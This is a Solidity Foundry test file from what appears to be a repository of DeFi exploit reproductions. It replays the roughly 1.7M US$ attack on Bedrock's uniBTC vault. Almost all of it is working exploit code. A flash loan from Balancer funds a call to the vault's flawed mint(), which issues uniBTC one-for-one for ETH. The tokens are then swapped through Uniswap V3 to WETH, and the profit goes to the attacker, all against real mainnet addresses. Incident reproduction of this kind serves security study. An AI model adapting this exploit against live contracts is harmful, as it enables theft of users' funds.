-
Notifications
You must be signed in to change notification settings - Fork 1.2k
/
Bedrock_DeFi_exp.sol
153 lines (122 loc) · 4.83 KB
/
Bedrock_DeFi_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../interface.sol";
// @KeyInfo - Total Lost : ~1.7M US$
// Attacker : https://etherscan.io/address/0x2bFB373017349820dda2Da8230E6b66739BE9F96
// Attack Contract : https://etherscan.io/address/0x0C8da4f8B823bEe4D5dAb73367D45B5135B50faB
// Vulnerable Contract : https://etherscan.io/address/0x047D41F2544B7F63A8e991aF2068a363d210d6Da
// Attack Tx : https://etherscan.io/tx/0x725f0d65340c859e0f64e72ca8260220c526c3e0ccde530004160809f6177940
// @Info
// Vulnerable Contract Code : https://etherscan.io/address/0x702696b2aa47fd1d4feaaf03ce273009dc47d901#code
// L2417-2420, mint() function
// @POC Author : [rotcivegaf](https://twitter.com/rotcivegaf)
// Contrasts involved
address constant uniBTC = 0x004E9C3EF86bc1ca1f0bB5C7662861Ee93350568;
address constant WBTC = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;
address constant uniV3Router = 0xE592427A0AEce92De3Edee1F18E0157C05861564;
address constant balancerVault = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;
address constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
// Implementation: https://etherscan.io/address/0x702696b2aa47fd1d4feaaf03ce273009dc47d901#code
address constant VulVault = 0x047D41F2544B7F63A8e991aF2068a363d210d6Da;
contract Bedrock_DeFi_exp is Test {
address attacker = makeAddr("attacker");
Attacker attackerC;
function setUp() public {
vm.createSelectFork("mainnet", 20_836_584 - 1);
}
function testPoCMinimal() public {
// Borrow 200 ether to the attacker
vm.deal(attacker, 200e18);
// The attacker mint 200 ETH to 200 uniBTC
vm.startPrank(attacker);
IFS(VulVault).mint{value: 200e18}();
// The attacker received 200 uniBTC(~BTC) for 200 ETH
console.log("Final balance in uniBTC :", IFS(uniBTC).balanceOf(attacker));
}
function testPoCReplicate() public {
vm.startPrank(attacker);
attackerC = new Attacker();
attackerC.attack();
console.log("Final balance in WETH :", IFS(weth).balanceOf(attacker));
}
}
contract Attacker {
address txSender;
function attack() external {
txSender = msg.sender;
IFS(uniBTC).approve(uniV3Router, type(uint256).max);
IFS(WBTC).approve(uniV3Router, type(uint256).max);
address[] memory tokens = new address[](1);
tokens[0] = weth;
uint256[] memory amounts = new uint256[](1);
amounts[0] = 30_800_000_000_000_000_000;
IFS(balancerVault).flashLoan(address(this), tokens, amounts, "");
}
function receiveFlashLoan(
address[] memory tokens,
uint256[] memory amounts,
uint256[] memory feeAmounts,
bytes memory userData
) external {
IFS(weth).withdraw(amounts[0]);
IFS(VulVault).mint{value: address(this).balance}();
uint256 bal_uniBTC = IFS(uniBTC).balanceOf(address(this));
IFS.ExactInputSingleParams memory input = IFS.ExactInputSingleParams(
uniBTC, // address tokenIn;
WBTC, // address tokenOut;
500, // uint24 fee;
address(this), // address recipient;
block.timestamp, // uint256 deadline;
bal_uniBTC, // uint256 amountIn;
0, // uint256 amountOutMinimum;
0 // uint160 sqrtPriceLimitX96;
);
IFS(uniV3Router).exactInputSingle(input);
uint256 balWBTC = IFS(WBTC).balanceOf(address(this));
input = IFS.ExactInputSingleParams(
WBTC, // address tokenIn;
weth, // address tokenOut;
500, // uint24 fee;
address(this), // address recipient;
block.timestamp, // uint256 deadline;
balWBTC, // uint256 amountIn;
0, // uint256 amountOutMinimum;
0 // uint160 sqrtPriceLimitX96;
);
IFS(uniV3Router).exactInputSingle(input);
IFS(weth).transfer(balancerVault, amounts[0]);
uint256 bal_weth = IFS(weth).balanceOf(address(this));
IFS(weth).transfer(txSender, bal_weth);
}
receive() external payable {}
}
interface IFS is IERC20 {
// balancerVault
function flashLoan(
address recipient,
address[] memory tokens,
uint256[] memory amounts,
bytes memory userData
) external;
// WETH
function withdraw(
uint256 wad
) external;
// Vulnerable Vault
function mint() external payable;
// Uniswap V3: SwapRouter
struct ExactInputSingleParams {
address tokenIn;
address tokenOut;
uint24 fee;
address recipient;
uint256 deadline;
uint256 amountIn;
uint256 amountOutMinimum;
uint160 sqrtPriceLimitX96;
}
function exactInputSingle(
ExactInputSingleParams calldata params
) external payable returns (uint256 amountOut);
}